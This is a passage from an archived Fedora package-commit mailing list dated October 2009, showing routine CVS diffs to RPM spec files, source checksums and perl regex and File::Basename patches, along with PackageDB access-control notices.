+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-5
 - Also fix release tag.
 
-* Sat Nov 29 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-4
+* Sat Nov 29 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-4
 - Fix bug 473644, unowned directory.
 
-* Fri Nov 07 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-3
+* Fri Nov 07 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-3
 - Fix source URL.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-2
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-2
 - Add BR desktop-file-utils.
 
-* Tue Nov 04 2008 Jussi Lehtola <jussi.lehtola at iki.fi> - 1.5.12-1
+* Tue Nov 04 2008 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.5.12-1
 - Spec file cleanups for Fedora inclusion.
 
 * Mon Jul 28 2003 Ben Webb <benwebb at users.sf.net>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Nov 2008 09:30:12 -0000	1.2
+++ sources	9 Oct 2009 10:49:54 -0000	1.3
@@ -1 +1 @@
-debf749de9053dc2fb2e74c37ae06206  dopewars-1.5.12.tar.gz
+c35f94bd1a3eebc4cddb2f5644a40efb  dopewars-1.5.12-1033svn.tar.bz2



From varekova at fedoraproject.org  Fri Oct  9 10:55:05 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Fri,  9 Oct 2009 10:55:05 +0000 (UTC)
Subject: rpms/man-pages-pl/devel man-pages-pl.spec,1.26,1.27
Message-ID: <20091009105505.30B9E11C00C1@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/man-pages-pl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18994

Modified Files:
	man-pages-pl.spec 
Log Message:
- fix source tag



Index: man-pages-pl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages-pl/devel/man-pages-pl.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- man-pages-pl.spec	25 Jul 2009 11:44:36 -0000	1.26
+++ man-pages-pl.spec	9 Oct 2009 10:55:04 -0000	1.27
@@ -2,11 +2,12 @@
 Summary: Polish man pages from the Linux Documentation Project
 Name: man-pages-pl
 Version: 0.24
-Release: 7%{?dist}
+Release: 8%{?dist}
 # No clear versioning.
 License: GPL+
 Group: Documentation
-Source: http://dione.ids.pl/~pborys/PTM/man-PL%{releasedate}.tar.gz
+# the source is not available on any public mirror now
+Source: man-PL%{releasedate}.tar.gz
 Patch1: man-pages-pl-0.24-pidof.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArchitectures: noarch
@@ -60,6 +61,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_mandir}/pl/*
 
 %changelog
+* Fri Oct  9 2009 Ivana Varekova <varekova at redhat.com> - 0.24-8
+- fix source tag
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.24-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From varekova at fedoraproject.org  Fri Oct  9 11:03:04 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Fri,  9 Oct 2009 11:03:04 +0000 (UTC)
Subject: rpms/man-pages-pl/F-12 man-pages-pl.spec,1.26,1.27
Message-ID: <20091009110304.C352C11C00C1@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/man-pages-pl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21975

Modified Files:
	man-pages-pl.spec 
Log Message:
- fix source tag



Index: man-pages-pl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages-pl/F-12/man-pages-pl.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- man-pages-pl.spec	25 Jul 2009 11:44:36 -0000	1.26
+++ man-pages-pl.spec	9 Oct 2009 11:03:03 -0000	1.27
@@ -2,11 +2,12 @@
 Summary: Polish man pages from the Linux Documentation Project
 Name: man-pages-pl
 Version: 0.24
-Release: 7%{?dist}
+Release: 8%{?dist}
 # No clear versioning.
 License: GPL+
 Group: Documentation
-Source: http://dione.ids.pl/~pborys/PTM/man-PL%{releasedate}.tar.gz
+# the source is not available on any public mirror now
+Source: man-PL%{releasedate}.tar.gz
 Patch1: man-pages-pl-0.24-pidof.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArchitectures: noarch
@@ -60,6 +61,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_mandir}/pl/*
 
 %changelog
+* Fri Oct  9 2009 Ivana Varekova <varekova at redhat.com> - 0.24-8
+- fix source tag
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.24-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Fri Oct  9 11:07:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:07:36 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110736.CB83F10F895@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchbugzilla acl on openal-soft (Fedora 12) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 11:07:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:07:39 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110739.E414310F8A1@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchcommits acl on openal-soft (Fedora 12) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 11:07:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:07:42 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110742.F3E9D10F894@bastion2.fedora.phx.redhat.com>

linuxdonald has set the commit acl on openal-soft (Fedora 12) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 11:07:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:07:45 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110745.C8E1710F895@bastion2.fedora.phx.redhat.com>

linuxdonald has set the approveacls acl on openal-soft (Fedora 12) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From caolanm at fedoraproject.org  Fri Oct  9 11:07:51 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri,  9 Oct 2009 11:07:51 +0000 (UTC)
Subject: rpms/openoffice.org/devel .cvsignore, 1.229, 1.230 sources, 1.374,
	1.375
Message-ID: <20091009110751.9A5C511C00C1@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23334

Modified Files:
	.cvsignore sources 
Log Message:
3.2.0 sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/.cvsignore,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -p -r1.229 -r1.230
--- .cvsignore	20 Aug 2009 19:28:15 -0000	1.229
+++ .cvsignore	9 Oct 2009 11:07:49 -0000	1.230
@@ -6,7 +6,4 @@ redhat-templates.tar.gz
 redhat-registry.tar.gz
 redhat-langpacks.tar.gz
 openoffice.org-javafilter.desktop
-or-IN_DEV300_m40.sdf
-acor_en-GB.dat
-acor_en-ZA.dat
-OOO310_m19.tar.bz2
+OOO320_m1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/sources,v
retrieving revision 1.374
retrieving revision 1.375
diff -u -p -r1.374 -r1.375
--- sources	14 Sep 2009 10:40:32 -0000	1.374
+++ sources	9 Oct 2009 11:07:50 -0000	1.375
@@ -6,7 +6,4 @@ f0cda31fe18bf9289629a321663031b8  redhat
 ffa417a9556cdb16028c83718d758bc7  redhat-langpacks.tar.gz
 39a2c59cfae4019eda4a63f414c0aa54  redhat-registry.tar.gz
 6c28507e29056a3afb4baffdadab8499  openoffice.org-javafilter.desktop
-7d7eb194a61b3b1c59e3c82da889ac27  or-IN_DEV300_m40.sdf
-f3842c64faf98fe9a8752e4a820c97bc  acor_en-GB.dat
-bccdb30725b178260e5ce74d0ad27879  acor_en-ZA.dat
-e95de733b1ac6e885515ee8bcca87998  OOO310_m19.tar.bz2
+27061b26c08f55e9372853ebc28be2f9  OOO320_m1.tar.bz2



From pkgdb at fedoraproject.org  Fri Oct  9 11:08:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:08:01 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110801.F421D10F8A9@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchcommits acl on openal-soft (Fedora devel) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 11:07:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:07:59 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110800.20E1010F8A3@bastion2.fedora.phx.redhat.com>

linuxdonald has set the watchbugzilla acl on openal-soft (Fedora devel) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 11:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:08:04 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110804.D2F0D10F8AC@bastion2.fedora.phx.redhat.com>

linuxdonald has set the commit acl on openal-soft (Fedora devel) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From pkgdb at fedoraproject.org  Fri Oct  9 11:08:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 11:08:06 +0000
Subject: [pkgdb] openal-soft had acl change status
Message-ID: <20091009110806.AD37510F8AF@bastion2.fedora.phx.redhat.com>

linuxdonald has set the approveacls acl on openal-soft (Fedora devel) to Approved for cassmodiah

To make changes to this package see:
  /pkgdb/packages/name/openal-soft



From jussilehtola at fedoraproject.org  Fri Oct  9 11:18:19 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 11:18:19 +0000 (UTC)
Subject: rpms/dopewars/F-10 dopewars.spec,1.6,1.7
Message-ID: <20091009111819.1D7D811C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26866/F-10

Modified Files:
	dopewars.spec 
Log Message:
Added missing BR.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-10/dopewars.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dopewars.spec	9 Oct 2009 10:49:53 -0000	1.6
+++ dopewars.spec	9 Oct 2009 11:18:18 -0000	1.7
@@ -26,6 +26,7 @@ BuildRequires:	SDL_mixer-devel
 # SVN stuff
 BuildRequires:	automake
 BuildRequires:	autoconf
+BuildRequires:	gettext
 
 %description
 Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an



From jussilehtola at fedoraproject.org  Fri Oct  9 11:18:19 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 11:18:19 +0000 (UTC)
Subject: rpms/dopewars/F-11 dopewars.spec,1.7,1.8
Message-ID: <20091009111819.36BA011C00E6@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26866/F-11

Modified Files:
	dopewars.spec 
Log Message:
Added missing BR.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/F-11/dopewars.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dopewars.spec	9 Oct 2009 10:49:54 -0000	1.7
+++ dopewars.spec	9 Oct 2009 11:18:19 -0000	1.8
@@ -26,6 +26,7 @@ BuildRequires:	SDL_mixer-devel
 # SVN stuff
 BuildRequires:	automake
 BuildRequires:	autoconf
+BuildRequires:	gettext
 
 %description
 Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an



From jussilehtola at fedoraproject.org  Fri Oct  9 11:18:19 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  9 Oct 2009 11:18:19 +0000 (UTC)
Subject: rpms/dopewars/devel dopewars.spec,1.8,1.9
Message-ID: <20091009111819.67D0311C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/dopewars/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26866/devel

Modified Files:
	dopewars.spec 
Log Message:
Added missing BR.


Index: dopewars.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dopewars/devel/dopewars.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- dopewars.spec	9 Oct 2009 10:49:54 -0000	1.8
+++ dopewars.spec	9 Oct 2009 11:18:19 -0000	1.9
@@ -26,6 +26,7 @@ BuildRequires:	SDL_mixer-devel
 # SVN stuff
 BuildRequires:	automake
 BuildRequires:	autoconf
+BuildRequires:	gettext
 
 %description
 Based on John E. Dell's old Drug Wars game, dopewars is a simulation of an



From jwrdegoede at fedoraproject.org  Fri Oct  9 11:25:43 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 11:25:43 +0000 (UTC)
Subject: rpms/chromium-bsu/devel chromium-bsu.spec,1.3,1.4
Message-ID: <20091009112543.ED8D311C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/chromium-bsu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29425

Modified Files:
	chromium-bsu.spec 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.9.14-6
- Switch to quesoglc instead of ftgl (glc is the upstream default)
- This fixes chromium-bsu not finding its font, as quesoglc properly uses
  fontconfig instead of using a hardcoded path to the font (#526995)



Index: chromium-bsu.spec
===================================================================
RCS file: /cvs/extras/rpms/chromium-bsu/devel/chromium-bsu.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- chromium-bsu.spec	16 Aug 2009 08:13:32 -0000	1.3
+++ chromium-bsu.spec	9 Oct 2009 11:25:43 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           chromium-bsu
 Version:        0.9.14
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Fast paced, arcade-style, top-scrolling space shooter
 Group:          Amusements/Games
 License:        Artistic clarified
@@ -9,7 +9,7 @@ Source0:        http://downloads.sourcef
 Source1:        chromium-bsu-README.license
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  desktop-file-utils SDL-devel alsa-lib-devel libvorbis-devel
-BuildRequires:  libpng-devel libglpng-devel ftgl-devel
+BuildRequires:  libpng-devel libglpng-devel quesoglc-devel
 BuildRequires:  openal-soft-devel freealut-devel >= 1.1.0-10
 Requires:       hicolor-icon-theme
 
@@ -73,6 +73,11 @@ fi
 
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.9.14-6
+- Switch to quesoglc instead of ftgl (glc is the upstream default)
+- This fixes chromium-bsu not finding its font, as quesoglc properly uses
+  fontconfig instead of using a hardcoded path to the font (#526995)
+
 * Sun Aug 16 2009 Hans de Goede <hdegoede at redhat.com> 0.9.14-5
 - Switch to openal-soft
 



From jwrdegoede at fedoraproject.org  Fri Oct  9 11:33:44 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 11:33:44 +0000 (UTC)
Subject: rpms/chromium-bsu/F-12 chromium-bsu.spec,1.3,1.4
Message-ID: <20091009113344.DF5D511C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/chromium-bsu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31790

Modified Files:
	chromium-bsu.spec 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.9.14-6
- Switch to quesoglc instead of ftgl (glc is the upstream default)
- This fixes chromium-bsu not finding its font, as quesoglc properly uses
  fontconfig instead of using a hardcoded path to the font (#526995)



Index: chromium-bsu.spec
===================================================================
RCS file: /cvs/extras/rpms/chromium-bsu/F-12/chromium-bsu.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- chromium-bsu.spec	16 Aug 2009 08:13:32 -0000	1.3
+++ chromium-bsu.spec	9 Oct 2009 11:33:44 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           chromium-bsu
 Version:        0.9.14
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Fast paced, arcade-style, top-scrolling space shooter
 Group:          Amusements/Games
 License:        Artistic clarified
@@ -9,7 +9,7 @@ Source0:        http://downloads.sourcef
 Source1:        chromium-bsu-README.license
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  desktop-file-utils SDL-devel alsa-lib-devel libvorbis-devel
-BuildRequires:  libpng-devel libglpng-devel ftgl-devel
+BuildRequires:  libpng-devel libglpng-devel quesoglc-devel
 BuildRequires:  openal-soft-devel freealut-devel >= 1.1.0-10
 Requires:       hicolor-icon-theme
 
@@ -73,6 +73,11 @@ fi
 
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.9.14-6
+- Switch to quesoglc instead of ftgl (glc is the upstream default)
+- This fixes chromium-bsu not finding its font, as quesoglc properly uses
+  fontconfig instead of using a hardcoded path to the font (#526995)
+
 * Sun Aug 16 2009 Hans de Goede <hdegoede at redhat.com> 0.9.14-5
 - Switch to openal-soft
 



From mmaslano at fedoraproject.org  Fri Oct  9 11:37:03 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Fri,  9 Oct 2009 11:37:03 +0000 (UTC)
Subject: rpms/perl/F-10 perl-5.10.0-much-better-swap-logic.patch, NONE,
	1.1 perl-5.10.0-spamassassin.patch, NONE,
	1.1 perl-bz509676.patch, NONE, 1.1 perl.spec, 1.214, 1.215
Message-ID: <20091009113703.9D52B11C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv385

Modified Files:
	perl.spec 
Added Files:
	perl-5.10.0-much-better-swap-logic.patch 
	perl-5.10.0-spamassassin.patch perl-bz509676.patch 
Log Message:
* Fri Oct  9 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 4:5.10.0-74
- 510127 spam assassin suffer from tainted bug
- 494773 much better swap logic to support reentrancy and fix assert failure (rt #60508)
- fix generated .ph files so that they no longer cause warnings (#509676)


perl-5.10.0-much-better-swap-logic.patch:
 embed.fnc                        |    1 
 embed.h                          |    2 -
 ext/Devel/PPPort/parts/embed.fnc |    1 
 proto.h                          |    3 --
 regcomp.c                        |    2 -
 regexec.c                        |   44 +++++++++++++++------------------------
 regexp.h                         |    2 -
 t/op/pat.t                       |   19 +++++++++++++++-
 8 files changed, 36 insertions(+), 38 deletions(-)

--- NEW FILE perl-5.10.0-much-better-swap-logic.patch ---
diff -up perl-5.10.0/embed.fnc.much perl-5.10.0/embed.fnc
--- perl-5.10.0/embed.fnc.much	2009-07-27 08:31:33.839374246 +0200
+++ perl-5.10.0/embed.fnc	2009-07-27 08:32:05.322374620 +0200
@@ -1441,7 +1441,6 @@ ERsn	|U8*	|reghop4	|NN U8 *pos|I32 off|N
 #endif
 ERsn	|U8*	|reghopmaybe3	|NN U8 *pos|I32 off|NN const U8 *lim
 ERs	|char*	|find_byclass	|NN regexp * prog|NN const regnode *c|NN char *s|NN const char *strend|NULLOK regmatch_info *reginfo
-Es	|void	|swap_match_buff|NN regexp * prog
 Es	|void	|to_utf8_substr	|NN regexp * prog
 Es	|void	|to_byte_substr	|NN regexp * prog
 ERs	|I32	|reg_check_named_buff_matched	|NN const regexp *rex|NN const regnode *prog
diff -up perl-5.10.0/embed.h.much perl-5.10.0/embed.h
--- perl-5.10.0/embed.h.much	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/embed.h	2009-07-27 08:31:34.016378805 +0200
@@ -1426,7 +1426,6 @@
 #if defined(PERL_CORE) || defined(PERL_EXT)
 #define reghopmaybe3		S_reghopmaybe3
 #define find_byclass		S_find_byclass
-#define swap_match_buff		S_swap_match_buff
 #define to_utf8_substr		S_to_utf8_substr
 #define to_byte_substr		S_to_byte_substr
 #define reg_check_named_buff_matched	S_reg_check_named_buff_matched
@@ -3714,7 +3713,6 @@
 #if defined(PERL_CORE) || defined(PERL_EXT)
 #define reghopmaybe3		S_reghopmaybe3
 #define find_byclass(a,b,c,d,e)	S_find_byclass(aTHX_ a,b,c,d,e)
-#define swap_match_buff(a)	S_swap_match_buff(aTHX_ a)
 #define to_utf8_substr(a)	S_to_utf8_substr(aTHX_ a)
 #define to_byte_substr(a)	S_to_byte_substr(aTHX_ a)
 #define reg_check_named_buff_matched(a,b)	S_reg_check_named_buff_matched(aTHX_ a,b)
diff -up perl-5.10.0/ext/Devel/PPPort/parts/embed.fnc.much perl-5.10.0/ext/Devel/PPPort/parts/embed.fnc
--- perl-5.10.0/ext/Devel/PPPort/parts/embed.fnc.much	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Devel/PPPort/parts/embed.fnc	2009-07-27 08:32:58.859374528 +0200
@@ -1436,7 +1436,6 @@ ERsn	|U8*	|reghop4	|NN U8 *pos|I32 off|N
 #endif
 ERsn	|U8*	|reghopmaybe3	|NN U8 *pos|I32 off|NN const U8 *lim
 ERs	|char*	|find_byclass	|NN regexp * prog|NN const regnode *c|NN char *s|NN const char *strend|NULLOK regmatch_info *reginfo
-Es	|void	|swap_match_buff|NN regexp * prog
 Es	|void	|to_utf8_substr	|NN regexp * prog
 Es	|void	|to_byte_substr	|NN regexp * prog
 ERs	|I32	|reg_check_named_buff_matched	|NN const regexp *rex|NN const regnode *prog
diff -up perl-5.10.0/pod/perlapi.pod.much perl-5.10.0/pod/perlapi.pod
diff -up perl-5.10.0/pod/perlguts.pod.much perl-5.10.0/pod/perlguts.pod
diff -up perl-5.10.0/proto.h.much perl-5.10.0/proto.h
--- perl-5.10.0/proto.h.much	2009-07-27 08:31:33.000000000 +0200
+++ perl-5.10.0/proto.h	2009-07-27 08:35:52.103374484 +0200
@@ -3851,9 +3851,6 @@ STATIC char*	S_find_byclass(pTHX_ regexp
 			__attribute__nonnull__(pTHX_3)
 			__attribute__nonnull__(pTHX_4);
 
-STATIC void	S_swap_match_buff(pTHX_ regexp * prog)
-			__attribute__nonnull__(pTHX_1);
-
 STATIC void	S_to_utf8_substr(pTHX_ regexp * prog)
 			__attribute__nonnull__(pTHX_1);
 
diff -up perl-5.10.0/regcomp.c.much perl-5.10.0/regcomp.c
--- perl-5.10.0/regcomp.c.much	2009-07-27 08:31:33.000000000 +0200
+++ perl-5.10.0/regcomp.c	2009-07-27 08:37:09.598625044 +0200
@@ -9167,7 +9167,6 @@ Perl_pregfree(pTHX_ struct regexp *r)
     if (r->saved_copy)
         SvREFCNT_dec(r->saved_copy);
 #endif
-    Safefree(r->swap);
     Safefree(r->offs);
     Safefree(r);
 }
@@ -9216,7 +9215,6 @@ Perl_reg_temp_copy (pTHX_ struct regexp 
     ret->saved_copy = NULL;
 #endif
     ret->mother_re = r; 
-    ret->swap = NULL;
     
     return ret;
 }
diff -up perl-5.10.0/regexec.c.much perl-5.10.0/regexec.c
--- perl-5.10.0/regexec.c.much	2007-12-18 11:47:08.000000000 +0100
+++ perl-5.10.0/regexec.c	2009-07-27 08:40:15.966404877 +0200
@@ -1718,26 +1718,6 @@ S_find_byclass(pTHX_ regexp * prog, cons
 	return s;
 }
 
-static void 
-S_swap_match_buff (pTHX_ regexp *prog) {
-    regexp_paren_pair *t;
-
-    if (!prog->swap) {
-    /* We have to be careful. If the previous successful match
-       was from this regex we don't want a subsequent paritally
-       successful match to clobber the old results. 
-       So when we detect this possibility we add a swap buffer
-       to the re, and switch the buffer each match. If we fail
-       we switch it back, otherwise we leave it swapped.
-    */
-        Newxz(prog->swap, (prog->nparens + 1), regexp_paren_pair);
-    }
-    t = prog->swap;
-    prog->swap = prog->offs;
-    prog->offs = t;
-}    
-
-
 /*
  - regexec_flags - match a regexp against a string
  */
@@ -1765,7 +1745,7 @@ Perl_regexec_flags(pTHX_ REGEXP * const 
     I32 multiline;
     RXi_GET_DECL(prog,progi);
     regmatch_info reginfo;  /* create some info to pass to regtry etc */
-    bool swap_on_fail = 0;
+    regexp_paren_pair *swap = NULL;
 
     GET_RE_DEBUG_FLAGS_DECL;
 
@@ -1843,9 +1823,16 @@ Perl_regexec_flags(pTHX_ REGEXP * const 
 	    reginfo.ganch = strbeg;
     }
     if (PL_curpm && (PM_GETRE(PL_curpm) == prog)) {
-        swap_on_fail = 1;
-        swap_match_buff(prog); /* do we need a save destructor here for
-                                  eval dies? */
+        /* We have to be careful. If the previous successful match
+           was from this regex we don't want a subsequent partially
+           successful match to clobber the old results.
+           So when we detect this possibility we add a swap buffer
+           to the re, and switch the buffer each match. If we fail
+           we switch it back, otherwise we leave it swapped.
+        */
+        swap = prog->offs;
+        /* do we need a save destructor here for eval dies? */
+        Newxz(prog->offs, (prog->nparens + 1), regexp_paren_pair);
     }
     if (!(flags & REXEC_CHECKED) && (prog->check_substr != NULL || prog->check_utf8 != NULL)) {
 	re_scream_pos_data d;
@@ -2144,6 +2131,7 @@ Perl_regexec_flags(pTHX_ REGEXP * const 
     goto phooey;
 
 got_it:
+    Safefree(swap);
     RX_MATCH_TAINTED_set(prog, PL_reg_flags & RF_tainted);
 
     if (PL_reg_eval_set)
@@ -2189,10 +2177,12 @@ phooey:
 			  PL_colors[4], PL_colors[5]));
     if (PL_reg_eval_set)
 	restore_pos(aTHX_ prog);
-    if (swap_on_fail) 
+    if (swap) {
         /* we failed :-( roll it back */
-        swap_match_buff(prog);
-    
+        Safefree(prog->offs);
+        prog->offs = swap;
+    }
+
     return 0;
 }
 
diff -up perl-5.10.0/regexp.h.much perl-5.10.0/regexp.h
--- perl-5.10.0/regexp.h.much	2007-12-18 11:47:08.000000000 +0100
+++ perl-5.10.0/regexp.h	2009-07-27 08:41:06.882374786 +0200
@@ -88,7 +88,7 @@ typedef struct regexp {
         /* Data about the last/current match. These are modified during matching*/
         U32 lastparen;		/* last open paren matched */
 	U32 lastcloseparen;	/* last close paren matched */
-        regexp_paren_pair *swap;  /* Swap copy of *offs */ 
+        regexp_paren_pair *swap;  /* Unused: 5.10.1 and later */ 
         regexp_paren_pair *offs;  /* Array of offsets for (@-) and (@+) */
 
 	char *subbeg;		/* saved or original string 
diff -up perl-5.10.0/t/op/pat.t.much perl-5.10.0/t/op/pat.t
--- perl-5.10.0/t/op/pat.t.much	2007-12-18 11:47:08.000000000 +0100
+++ perl-5.10.0/t/op/pat.t	2009-07-27 08:44:50.343375513 +0200
@@ -4558,10 +4558,27 @@ ok($@=~/\QSequence \k... not terminated 
     ok("aaa" =~ /$s/, "#45337");
 }
 
+# This only works under -DEBUGGING because it relies on an assert().
+{
+    local $BugId = '60508';
+    local $Message = "Check capture offset re-entrancy of utf8 code.";
+
+    sub fswash { $_[0] =~ s/([>X])//g; }
+    my $k1 = "." x 4 . ">>";
+    fswash($k1);
+
+    my $k2 = "\x{f1}\x{2022}";
+    $k2 =~ s/([\360-\362])/>/g;
+    fswash($k2);
+
+    iseq($k2, "\x{2022}", "utf8::SWASHNEW doesn't cause capture leaks");
+}
+
 # Put new tests above the dotted line about a page above this comment
 iseq(0+$::test,$::TestCount,"Got the right number of tests!");
 # Don't forget to update this!
 BEGIN {
-    $::TestCount = 4013;
+    $::TestCount = 4014;
     print "1..$::TestCount\n";
 }
+

perl-5.10.0-spamassassin.patch:
 Basename.pm |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE perl-5.10.0-spamassassin.patch ---
diff -up perl-5.10.0/lib/File/Basename.pm.spam perl-5.10.0/lib/File/Basename.pm
--- perl-5.10.0/lib/File/Basename.pm.spam	2009-07-27 08:45:18.000000000 +0200
+++ perl-5.10.0/lib/File/Basename.pm	2009-07-28 09:01:54.757410886 +0200
@@ -331,6 +331,7 @@ sub dirname {
 sub _strip_trailing_sep  {
     my $type = $Fileparse_fstype;
 
+	local $1;
     if ($type eq 'MacOS') {
         $_[0] =~ s/([^:]):\z/$1/s;
     }

